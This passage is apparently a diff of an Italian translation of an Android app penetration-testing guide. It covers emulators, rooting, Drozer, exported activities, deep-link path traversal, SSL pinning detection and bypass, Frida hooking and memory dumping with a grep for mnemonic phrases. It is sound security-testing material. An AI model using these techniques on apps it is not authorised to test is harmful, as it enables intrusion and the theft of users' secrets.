si comporta un apk. Puoi anche **vedere i log della tua applicazione** sul web e connetterti tramite **adb**. ![](<../../images/image (831).png>) -Grazie alla connessione ADB puoi usare **Drozer** e **Frida** all'interno degli emulatori. +Grazie alla connessione ADB puoi usare **Drozer** e **Frida** all'interno degli emulators. -### Local Dynamic Analysis +### Analisi dinamica locale -#### Using an emulator +#### Usare un emulatore -- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**le versioni x86 più recenti** **supportano librerie ARM** senza bisogno di un lento emulatore arm). +- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questa** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**le versioni x86 più recenti** **supportano le librerie ARM** senza necessitare di un lento emulatore arm). - Impara a configurarlo in questa pagina: @@ -260,36 +265,36 @@ Grazie alla connessione ADB puoi usare **Drozer** e **Frida** all'interno degli avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(versione gratuita:** Personal Edition, è necessario creare un account. _Si raccomanda di **scaricare** la versione **CON**_ _**VirtualBox** per evitare potenziali errori._) -- [**Nox**](https://es.bignox.com) (Gratis, ma non supporta Frida o Drozer). +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versione gratuita:** Personal Edition, è necessario creare un account. _Si consiglia di **scaricare** la versione **CON**_ _**VirtualBox** per evitare potenziali errori._) +- [**Nox**](https://es.bignox.com) (Gratuito, ma non supporta Frida o Drozer). > [!TIP] -> Quando crei un nuovo emulatore su qualsiasi piattaforma ricorda che più lo schermo è grande, più lento sarà l'emulatore. Quindi seleziona schermi piccoli se possibile. +> Quando crei un nuovo emulatore su qualsiasi piattaforma ricorda che più grande è lo schermo, più lento sarà l'emulatore. Quindi seleziona schermi piccoli se possibile. -Per **installare i servizi Google** (come AppStore) in Genymotion devi cliccare sul bottone segnato in rosso nella seguente immagine: +Per **installare google services** (come AppStore) in Genymotion devi cliccare il pulsante evidenziato in rosso dell'immagine seguente: ![](<../../images/image (277).png>) -Inoltre, nota che nella **configurazione della VM Android in Genymotion** puoi selezionare la **Bridge Network mode** (questo sarà utile se ti connetterai alla VM Android da una VM diversa con gli strumenti). +Inoltre, nota che nella **configurazione della Android VM in Genymotion** puoi selezionare la **Bridge Network mode** (questo sarà utile se ti connetterai alla Android VM da una VM diversa con gli strumenti). -#### Use a physical device +#### Usare un dispositivo fisico -Devi attivare le opzioni di **debug** e sarebbe utile se puoi **rootarlo**: +Devi attivare le opzioni di **debugging** e sarebbe utile se potessi **rootarlo**: 1. **Settings**. -2. (FromAndroid 8.0) Select **System**. -3. Select **About phone**. -4. Press **Build number** 7 times. -5. Go back and you will find the **Developer options**. +2. (Da Android 8.0) Seleziona **System**. +3. Seleziona **About phone**. +4. Premi **Build number** 7 volte. +5. Torna indietro e troverai le **Developer options**. -> Una volta installata l'applicazione, la prima cosa che dovresti fare è provarla e investigare cosa fa, come funziona e prendere confidenza con essa.\ -> Suggerisco di **eseguire questa analisi dinamica iniziale usando MobSF dynamic analysis + pidcat**, così saremo in grado di **imparare come l'applicazione funziona** mentre MobSF **cattura** molti **dati** **interessanti** che potrai rivedere in seguito. +> Una volta installata l'applicazione, la prima cosa da fare è provarla e indagare cosa fa, come funziona e prendere confidenza con essa.\ +> Suggerisco di **eseguire questa analisi dinamica iniziale usando MobSF dynamic analysis + pidcat**, così saremo in grado di **capire come funziona l'applicazione** mentre MobSF **cattura** molti **dati** **interessanti** che potrai rivedere in seguito. -Magisk/Zygisk quick notes (raccomandato su dispositivi Pixel) -- Patcha boot.img con l'app Magisk e flashalo via fastboot per ottenere root systemless +Magisk/Zygisk quick notes (consigliato su dispositivi Pixel) +- Patcha boot.img con l'app Magisk e flashalo via fastboot per ottenere systemless root - Abilita Zygisk + DenyList per nascondere il root; considera LSPosed/Shamiko quando è richiesto un nascondimento più forte -- Tieni il boot.img originale per recuperare dagli aggiornamenti OTA; ri-patchalo dopo ogni OTA -- Per il mirroring dello schermo, usa scrcpy sull'host +- Mantieni il boot.img originale per recuperare dagli OTA; ripatchalo dopo ogni OTA +- Per lo screen mirroring, usa scrcpy sull'host @@ -297,102 +302,102 @@ Magisk/Zygisk quick notes (raccomandato su dispositivi Pixel) **Logging** -Gli sviluppatori dovrebbero fare attenzione a non esporre pubblicamente informazioni di **debug**, poiché ciò può portare a leak di dati sensibili. Gli strumenti [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` sono raccomandati per monitorare i log dell'applicazione al fine di identificare e proteggere informazioni sensibili. **Pidcat** è preferito per la sua facilità d'uso e leggibilità. +Gli sviluppatori dovrebbero essere cauti nell'esporre pubblicamente le **informazioni di debug**, poiché ciò può portare a leaks di dati sensibili. Gli strumenti [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` sono raccomandati per monitorare i log dell'applicazione per identificare e proteggere le informazioni sensibili. **Pidcat** è preferito per la sua facilità d'uso e leggibilità. > [!WARNING] -> Nota che da **versioni successive a Android 4.0**, **le applicazioni sono in grado di accedere solo ai propri log**. Quindi le applicazioni non possono accedere ai log di altre app.\ -> Comunque, è comunque raccomandato **di non loggare informazioni sensibili**. +> Nota che da **versioni successive ad Android 4.0**, **le applicazioni possono accedere solo ai propri log**. Quindi le applicazioni non possono accedere ai log di altre app.\ +> Comunque, è comunque raccomandato **non loggare informazioni sensibili**. **Copy/Paste Buffer Caching** -Il framework basato su **clipboard** di Android abilita la funzionalità copy-paste nelle app, tuttavia rappresenta un rischio poiché **altre applicazioni** possono **accedere** alla clipboard, esponendo potenzialmente dati sensibili. È cruciale **disabilitare le funzioni di copia/incolla** per sezioni sensibili di un'applicazione, come i dettagli della carta di credito, per prevenire leak di dati. +Il framework **clipboard-based** di Android abilita la funzionalità copia-incolla nelle app, ma rappresenta un rischio poiché **altre applicazioni** possono **accedere** agli appunti, esponendo potenzialmente dati sensibili. È cruciale **disabilitare copy/paste** per le sezioni sensibili di un'applicazione, come i dettagli della carta di credito, per prevenire data leaks. **Crash Logs** -Se un'applicazione **crasha** e **salva log**, questi log possono aiutare gli attaccanti, particolarmente quando l'app non può essere reverse-engineered. Per mitigare questo rischio, evita di loggare in caso di crash e, se i log devono essere trasmessi in rete, assicurati che siano inviati tramite un canale SSL per la sicurezza. +Se un'applicazione **crasha** e **salva log**, questi log possono aiutare gli attackers, soprattutto quando l'app non può essere reverse-engineered. Per mitigare questo rischio, evita di loggare i crash, e se i log devono essere trasmessi in rete, assicurati che vengano inviati tramite un canale SSL per la sicurezza. Come pentester, **prova a dare un'occhiata a questi log**. **Analytics Data Sent To 3rd Parties** -Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente causare leak di dati sensibili a causa di una cattiva implementazione da parte degli sviluppatori. Per identificare potenziali leak di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare se informazioni sensibili vengono inviate a servizi di terze parti. +Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **leak sensitive data** a causa di una implementazione scorretta da parte degli sviluppatori. Per identificare potenziali data leaks, è consigliabile **intercettare il traffico dell'applicazione** e verificare se informazioni sensibili vengono inviate a servizi di terze parti. ### SQLite DBs -La maggior parte delle applicazioni usa **database SQLite interni** per salvare informazioni. Durante il pentest dai **un'occhiata** ai **database** creati, ai nomi delle **tabelle** e delle **colonne** e a tutti i **dati** salvati perché potresti trovare **informazioni sensibili** (che sarebbero una vulnerabilità).\ -I database dovrebbero trovarsi in `/data/data/the.package.name/databases` come `/data/data/com.mwr.example.sieve/databases` +La maggior parte delle applicazioni userà **internal SQLite databases** per salvare informazioni. Durante il pentest dai un'occhiata alle **databases** create, ai nomi delle **tables** e delle **columns** e a tutti i **data** salvati perché potresti trovare **sensitive information** (che sarebbe una vulnerabilità).\ +I database dovrebbero essere localizzati in `/data/data/the.package.name/databases` come `/data/data/com.mwr.example.sieve/databases` -Se il database salva informazioni confidenziali ed è **encryptato** ma puoi **trovare** la **password** all'interno dell'applicazione è comunque una **vulnerabilità**. +Se il database salva informazioni confidenziali ed è **encrypted** ma puoi **find** la **password** dentro l'applicazione, è comunque una **vulnerability**. -Enumera le tabelle usando `.tables` ed enumera le colonne delle tabelle con `.schema ` +Enumera le tables usando `.tables` ed enumera le columns delle tables eseguendo `.schema ` ### Drozer (Exploit Activities, Content Providers and Services) -From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permette di **assumere il ruolo di un'app Android** e interagire con altre app. Può fare **qualsiasi cosa che un'app installata può fare**, come utilizzare il meccanismo di Inter-Process Communication (IPC) di Android e interagire con il sistema operativo sottostante. .\ -Drozer è uno strumento utile per **sfruttare exported activities, exported services e Content Providers** come imparerai nelle sezioni seguenti. +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ +Drozer è uno strumento utile per **exploit exported activities, exported services and Content Providers** come imparerai nelle sezioni seguenti. -### Sfruttare Activities esportate +### Exploiting exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Ricorda inoltre che il codice di un'attività inizia nel metodo **`onCreate`**. +Ricorda anche che il codice di un activity inizia nel metodo **`onCreate`**. **Authorisation bypass** -Quando un'Activity è exported puoi invocare la sua schermata da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **exported** potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.** +Quando un Activity è exported puoi invocarne lo schermo da un'app esterna. Pertanto, se un activity con **informazioni sensibili** è **exported** potresti **bypassare** i meccanismi di **authentication** per accedervi. [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -Puoi anche avviare un'attività esportata da adb: +Puoi anche avviare un activity esportato da adb: - PackageName is com.example.demo - Exported ActivityName is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTA**: MobSF rileverà come dannoso l'uso di _**singleTask/singleInstance**_ come `android:launchMode` in un'activity, ma a causa di [questo](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparentemente questo è pericoloso solo su versioni vecchie (API versions < 21). +**NOTA**: MobSF rileverà come dannoso l'uso di _**singleTask/singleInstance**_ come `android:launchMode` in un'attività, ma a causa di [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparentemente questo è pericoloso solo su versioni vecchie (API versions < 21). > [!TIP] > Nota che un authorisation bypass non è sempre una vulnerabilità; dipende da come funziona il bypass e quali informazioni vengono esposte. -**Perdita di informazioni sensibili** +**Sensitive information leakage** -**Le activity possono anche restituire risultati**. Se riesci a trovare un'activity esportata e non protetta che chiama il metodo **`setResult`** e **restituisce informazioni sensibili**, c'è una perdita di informazioni sensibili. +**Activities can also return results**. Se riesci a trovare un'attività esportata e non protetta che chiama il metodo **`setResult`** e **restituisce informazioni sensibili**, c'è una sensitive information leakage. #### Tapjacking -Se il Tapjacking non è prevenuto, potresti abusare dell'activity esportata per far sì che l'**utente compia azioni inaspettate**. Per maggiori info su [**cos'è il Tapjacking? Segui il link**](#tapjacking). +Se il Tapjacking non è prevenuto, potresti abusare dell'attività esportata per far eseguire all'**utente azioni non previste**. Per maggiori informazioni su [**cos'è il Tapjacking segui il link**](#tapjacking). -### Sfruttare i Content Providers - Accesso e manipolazione di informazioni sensibili +### Exploiting Content Providers - Accessing and manipulating sensitive information -[**Leggi questo se vuoi rinfrescarti cos'è un Content Provider.**](android-applications-basics.md#content-provider)\ -I Content providers sono fondamentalmente usati per **condividere dati**. Se un'app ha content providers disponibili potresti essere in grado di **estrarre dati sensibili** da essi. È inoltre interessante testare possibili **SQL injections** e **Path Traversals**, perché potrebbero essere vulnerabili. +[**Leggi questo se vuoi rinfrescarti su cos'è un Content Provider.**](android-applications-basics.md#content-provider)\ +I Content providers sono usati fondamentalmente per **share data**. Se un'app ha content providers disponibili potresti essere in grado di **extract sensitive** dati da essi. È anche interessante testare possibili **SQL injections** e **Path Traversals** poiché potrebbero essere vulnerabili. -[**Scopri come sfruttare i Content Providers con Drozer.**](drozer-tutorial/index.html#content-providers) +[**Impara come sfruttare i Content Providers con Drozer.**](drozer-tutorial/index.html#content-providers) -### **Sfruttare i Services** +### **Exploiting Services** -[**Leggi questo se vuoi rinfrescarti cos'è un Service.**](android-applications-basics.md#services)\ +[**Leggi questo se vuoi rinfrescarti su cos'è un Service.**](android-applications-basics.md#services)\ Ricorda che le azioni di un Service iniziano nel metodo `onStartCommand`. -Un Service è fondamentalmente qualcosa che **può ricevere dati**, **processarli** e **restituire** (o meno) una risposta. Quindi, se un'applicazione esporta dei services dovresti **controllare** il **codice** per capire cosa sta facendo e **testarlo** **dinamicamente** per estrarre informazioni riservate, bypassare misure di autenticazione...\ -[**Scopri come sfruttare i Services con Drozer.**](drozer-tutorial/index.html#services) +Un Service è fondamentalmente qualcosa che **can receive data**, la **processa** e **returns** (o non) una risposta. Quindi, se un'applicazione espone alcuni services dovresti **check** il **code** per capire cosa sta facendo e **test**arlo **dynamically** per estrarre info riservate, bypassare misure di autenticazione...\ +[**Impara come sfruttare i Service con Drozer.**](drozer-tutorial/index.html#services) -### **Sfruttare i Broadcast Receivers** +### **Exploiting Broadcast Receivers** -[**Leggi questo se vuoi rinfrescarti cos'è un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ +[**Leggi questo se vuoi rinfrescarti su cos'è un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ Ricorda che le azioni di un Broadcast Receiver iniziano nel metodo `onReceive`. -Un broadcast receiver starà in attesa di un tipo di messaggio. A seconda di come il receiver gestisce il messaggio, potrebbe essere vulnerabile.\ -[**Scopri come sfruttare i Broadcast Receivers con Drozer.**](#exploiting-broadcast-receivers) +Un broadcast receiver attenderà un tipo di messaggio. A seconda di come il receiver gestisce il messaggio potrebbe essere vulnerabile.\ +[**Impara come sfruttare i Broadcast Receivers con Drozer.**](#exploiting-broadcast-receivers) -### **Sfruttare Schemes / Deep links** +### **Exploiting Schemes / Deep links** -Puoi cercare i deep links manualmente, usando tool come MobSF o script come [questo](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Puoi **aprire** uno **scheme** dichiarato usando **adb** o un **browser**: +Puoi cercare i deep links manualmente, usando strumenti come MobSF o script come [questo](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Puoi **open** uno scheme dichiarato usando **adb** o un **browser**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Nota che puoi **omit the package name** e il dispositivo mobile chiamerà automaticamente l'app che dovrebbe aprire quel link._ +_Nota che puoi **omettere il nome del package** e il dispositivo mobile chiamerà automaticamente l'app che dovrebbe aprire quel link._ ```html Click me @@ -405,58 +410,58 @@ Per trovare il **codice che verrà eseguito nell'App**, vai all'activity chiamat ![](<../../images/image (436) (1) (1) (1).png>) -**Informazioni sensibili** +**Info sensibili** -Ogni volta che trovi un deep link verifica che non stia ricevendo dati sensibili (come password) via URL parameters, perché qualsiasi altra applicazione potrebbe **impersonate the deep link and steal that data!** +Ogni volta che trovi un deep link controlla che **non riceva dati sensibili (come password) tramite parametri URL**, perché qualsiasi altra applicazione potrebbe **impersonare il deep link e rubare quei dati!** -**Parametri nel path** +**Parameters in path** -Devi anche verificare se un deep link sta usando un parametro all'interno del path dell'URL come: `https://api.example.com/v1/users/{username}` , in tal caso puoi forzare un path traversal accedendo a qualcosa come: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Nota che se trovi gli endpoint corretti all'interno dell'applicazione potresti essere in grado di causare una **Open Redirect** (se parte del path è usata come nome di dominio), **account takeover** (se puoi modificare i dettagli degli utenti senza CSRF token e l'endpoint vuln usava il metodo corretto) e qualsiasi altra vuln. Maggiori [info about this here](http://dphoeniixx.com/2020/12/13-2/). +Devi **verificare anche se qualche deep link usa un parametro all'interno del path** dell'URL come: `https://api.example.com/v1/users/{username}` , in quel caso puoi forzare un path traversal accedendo a qualcosa come: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +Nota che se trovi gli endpoint corretti dentro l'applicazione potresti essere in grado di causare un **Open Redirect** (se una parte del path è usata come domain name), **account takeover** (se puoi modificare dettagli degli utenti senza token CSRF e il vuln endpoint usa il metodo corretto) e qualsiasi altro vuln. Maggiori [info a riguardo qui](http://dphoeniixx.com/2020/12/13-2/). **More examples** -Un [interessante report di bug bounty](https://hackerone.com/reports/855618) sui link (_/.well-known/assetlinks.json_). +Un [interessante bug bounty report](https://hackerone.com/reports/855618) sui link (_/.well-known/assetlinks.json_). -### Ispezione del livello di trasporto e problemi di verifica +### Transport Layer Inspection and Verification Failures -- **I certificati non sono sempre controllati correttamente** dalle applicazioni Android. È comune che queste applicazioni ignorino gli avvisi e accettino certificati self-signed o, in alcuni casi, tornino a usare connessioni HTTP. -- **Le negoziazioni durante lo handshake SSL/TLS sono talvolta deboli**, impiegando cipher suites non sicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), permettendo agli attaccanti di decriptare i dati. -- **Perdita di informazioni private** è un rischio quando le applicazioni si autenticano usando canali sicuri ma poi comunicano su canali non sicuri per altre transazioni. Questo approccio non protegge i dati sensibili, come session cookies o dettagli utente, dall'intercettazione da parte di entità malevole. +- **I certificati non sono sempre ispezionati correttamente** dalle applicazioni Android. È comune che queste applicazioni ignorino gli avvisi e accettino certificati self-signed o, in alcuni casi, tornino a usare connessioni HTTP. +- **Le negoziazioni durante l'handshake SSL/TLS sono talvolta deboli**, impiegando cipher suite insicure. Questa vulnerabilità rende la connessione suscettibile a attacchi man-in-the-middle (MITM), permettendo ad attacker di decriptare i dati. +- **Leakage of private information** è un rischio quando le applicazioni si autenticano usando canali sicuri ma poi comunicano su canali non sicuri per altre transazioni. Questo approccio non protegge i dati sensibili, come cookie di sessione o dettagli utente, dall'intercettazione da parte di entità maligne. #### Certificate Verification -Ci concentreremo sulla **verifica dei certificati**. L'integrità del certificato del server deve essere verificata per aumentare la sicurezza. Questo è cruciale perché configurazioni TLS insicure e la trasmissione di dati sensibili su canali non cifrati possono comportare rischi significativi. Per passaggi dettagliati sulla verifica dei certificati del server e la risoluzione delle vulnerabilità, [**questa risorsa**](https://manifestsecurity.com/android-application-security-part-10/) fornisce una guida completa. +Ci concentreremo sulla **verifica dei certificati**. L'integrità del certificato del server deve essere verificata per migliorare la sicurezza. Questo è cruciale perché configurazioni TLS insicure e la trasmissione di dati sensibili su canali non cifrati possono comportare rischi significativi. Per passaggi dettagliati su come verificare i certificati server e correggere vulnerabilità, [**questa risorsa**](https://manifestsecurity.com/android-application-security-part-10/) fornisce indicazioni complete. #### SSL Pinning -SSL Pinning è una misura di sicurezza in cui l'applicazione verifica il certificato del server rispetto a una copia nota memorizzata all'interno dell'app stessa. Questo metodo è essenziale per prevenire attacchi MITM. Implementare SSL Pinning è fortemente raccomandato per applicazioni che gestiscono informazioni sensibili. +SSL Pinning è una misura di sicurezza in cui l'applicazione verifica il certificato del server confrontandolo con una copia nota memorizzata all'interno dell'app stessa. Questo metodo è essenziale per prevenire attacchi MITM. Implementare SSL Pinning è fortemente consigliato per applicazioni che gestiscono informazioni sensibili. #### Traffic Inspection -Per ispezionare il traffico HTTP, è necessario **installare il certificato dello strumento proxy** (es. Burp). Senza installare questo certificato, il traffico cifrato potrebbe non essere visibile attraverso il proxy. Per una guida su come installare una CA custom, [**clicca qui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Per ispezionare il traffico HTTP è necessario **installare il certificato del proxy tool** (es. Burp). Senza installare questo certificato, il traffico cifrato potrebbe non essere visibile tramite il proxy. Per una guida su come installare una CA custom, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Le applicazioni targettizzate a **API Level 24 and above** richiedono modifiche al Network Security Config per accettare il certificato CA del proxy. Questo passaggio è critico per ispezionare il traffico cifrato. Per istruzioni su come modificare il Network Security Config, [**riferisciti a questo tutorial**](make-apk-accept-ca-certificate.md). +Le applicazioni targettate a **API Level 24 and above** richiedono modifiche alla Network Security Config per accettare il certificato CA del proxy. Questo passo è critico per ispezionare il traffico cifrato. Per istruzioni su come modificare la Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md). -Se viene utilizzato **Flutter** devi seguire le istruzioni in [**questa pagina**](flutter.md). Questo perché, semplicemente aggiungere il certificato nello store non funzionerà poiché Flutter ha la propria lista di CA valide. +Se viene usato **Flutter** devi seguire le istruzioni in [**questa pagina**](flutter.md). Questo perché aggiungere semplicemente il certificato nello store non funzionerà, dato che Flutter ha la propria lista di CA valide. -#### Rilevamento statico del pinning SSL/TLS +#### Static detection of SSL/TLS pinning -Prima di tentare bypass a runtime, mappa rapidamente dove il pinning è applicato nell'APK. La scoperta statica ti aiuta a pianificare hook/patch e a concentrarti sui percorsi di codice giusti. +Prima di tentare bypass runtime, mappa velocemente dove il pinning è applicato nell'APK. La scoperta statica ti aiuta a pianificare hook/patch e a concentrarti sui percorsi di codice corretti. Tool: SSLPinDetect -- Utility open-source di static-analysis che decompila l'APK in Smali (via apktool) e cerca pattern regex curati di implementazioni di pinning SSL/TLS. -- Riporta il percorso file esatto, il numero di riga e uno snippet di codice per ogni corrispondenza. -- Copre framework comuni e percorsi di codice custom: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init con custom TrustManagers/KeyManagers, e pin nel Network Security Config XML. +- Utility open-source di static-analysis che decompila l'APK in Smali (via apktool) e scansiona pattern regex curati di implementazioni di SSL/TLS pinning. +- Riporta il file path esatto, il numero di riga e uno snippet di codice per ogni match. +- Copre framework comuni e percorsi di codice custom: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init con custom TrustManagers/KeyManagers, e Network Security Config XML pins. -Installazione -- Prerequisiti: Python >= 3.8, Java on PATH, apktool +Install +- Prereqs: Python >= 3.8, Java on PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect cd SSLPinDetect pip install -r requirements.txt ``` -Utilizzo +Uso ```bash # Basic python sslpindetect.py -f app.apk -a apktool.jar @@ -464,8 +469,8 @@ python sslpindetect.py -f app.apk -a apktool.jar # Verbose (timings + per-match path:line + snippet) python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` -Esempi di regole per pattern (JSON) -Usa o estendi le signature per rilevare stili di pinning proprietari/personalizzati. Puoi caricare il tuo JSON e scansionare su larga scala. +Esempio di regole di pattern (JSON) +Usa o estendi signatures per rilevare stili di pinning proprietari/custom. Puoi caricare il tuo JSON e scansionare su larga scala. ```json { "OkHttp Certificate Pinning": [ @@ -479,42 +484,42 @@ Usa o estendi le signature per rilevare stili di pinning proprietari/personalizz ] } ``` -Note e suggerimenti -- Scansione veloce su app di grandi dimensioni tramite multi-threading e memory-mapped I/O; regex pre-compilati riducono overhead e falsi positivi. +Notes and tips +- Scansione rapida su app grandi tramite multi-threading e memory-mapped I/O; regex pre-compilate riducono overhead e falsi positivi. - Pattern collection: https://github.com/aancw/smali-sslpin-patterns -- Obiettivi tipici di rilevamento da valutare successivamente: +- Tipici target di rilevamento da triage successivamente: - OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references -- TrustManager personalizzati: javax.net.ssl.X509TrustManager, checkServerTrusted overrides -- Contesti SSL personalizzati: SSLContext.getInstance + SSLContext.init con manager personalizzati -- Pin dichiarativi in res/xml network security config e riferimenti nel manifest -- Usa le posizioni corrispondenti per pianificare Frida hooks, patch statiche o revisioni di config prima del testing dinamico. +- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides +- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers +- Declarative pins in res/xml network security config and manifest references +- Usa le posizioni corrispondenti per pianificare Frida hooks, patch statiche o revisioni di configurazione prima dei test dinamici. #### Bypassing SSL Pinning -Quando SSL Pinning è implementato, bypassarlo diventa necessario per ispezionare il traffico HTTPS. Sono disponibili vari metodi per questo scopo: +Quando SSL Pinning è implementato, diventa necessario bypassarlo per ispezionare il traffico HTTPS. Sono disponibili vari metodi per questo scopo: -- Modificare automaticamente l'**apk** per **bypass** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il principale vantaggio di questa opzione è che non servirà root per bypassare il SSL Pinning, ma dovrai cancellare l'applicazione e reinstallare la nuova, e questo non funzionerà sempre. -- Puoi usare **Frida** (discusso sotto) per bypassare questa protezione. Qui trovi una guida per usare Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- Puoi anche provare a **bypassare automaticamente SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- Puoi anche provare a **bypassare automaticamente SSL Pinning** usando **MobSF dynamic analysis** (spiegato sotto) -- Se pensi che ci sia ancora traffico che non stai catturando, puoi provare a inoltrare il traffico a Burp usando iptables. Leggi questo blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work. +- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below) +- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### Ricerca di vulnerabilità web comuni +#### Looking for Common Web Vulnerabilities -È importante cercare anche vulnerabilità web comuni all'interno dell'applicazione. Informazioni dettagliate sull'identificazione e la mitigazione di queste vulnerabilità esulano da questo sommario, ma sono ampiamente trattate altrove. +È importante cercare anche vulnerabilità web comuni all'interno dell'applicazione. Informazioni dettagliate su come identificarle e mitigarle esulano dal riassunto ma sono ampiamente trattate altrove. ### Frida -[Frida](https://www.frida.re) è un toolkit di instrumentazione dinamica per sviluppatori, reverse-engineer e ricercatori di sicurezza.\ -**Puoi accedere all'applicazione in esecuzione e fare hook dei metodi a runtime per cambiare il comportamento, modificare valori, estrarre valori, eseguire codice diverso...**\ +[Frida](https://www.frida.re) è un toolkit di instrumentazione dinamica per developer, reverse-engineers e security researchers.\ +**Puoi accedere all'app in esecuzione e hookare metodi a runtime per modificare il comportamento, cambiare valori, estrarre valori, eseguire codice diverso...**\ Se vuoi pentest applicazioni Android devi sapere come usare Frida. - Impara a usare Frida: [**Frida tutorial**](frida-tutorial/index.html) - Alcune "GUI" per azioni con Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Ojection è ottimo per automatizzare l'uso di Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Puoi trovare alcuni script Frida qui: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Puoi trovare alcuni Awesome Frida scripts qui: [**https://codeshare.frida.re/**](https://codeshare.frida.re) - Prova a bypassare meccanismi anti-debugging / anti-frida caricando Frida come indicato in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs)) #### Anti-instrumentation & SSL pinning bypass workflow @@ -525,9 +530,9 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md ### **Dump Memory - Fridump** -Verifica se l'applicazione sta memorizzando informazioni sensibili nella memoria che non dovrebbe conservare, come password o mnemoniche. +Verifica se l'applicazione sta memorizzando informazioni sensibili nella memoria che non dovrebbe memorizzare, come password o mnemoniche. -Usando [**Fridump3**](https://github.com/rootbsd/fridump3) puoi eseguire il dump della memoria dell'app con: +Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with: ```bash # With PID python3 fridump3.py -u @@ -536,15 +541,15 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Questo eseguirà il dump della memoria nella cartella ./dump, e lì puoi usare grep con qualcosa come: +Questo eseguirà il dump della memoria nella cartella ./dump, e lì potrai usare grep con qualcosa del tipo: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ 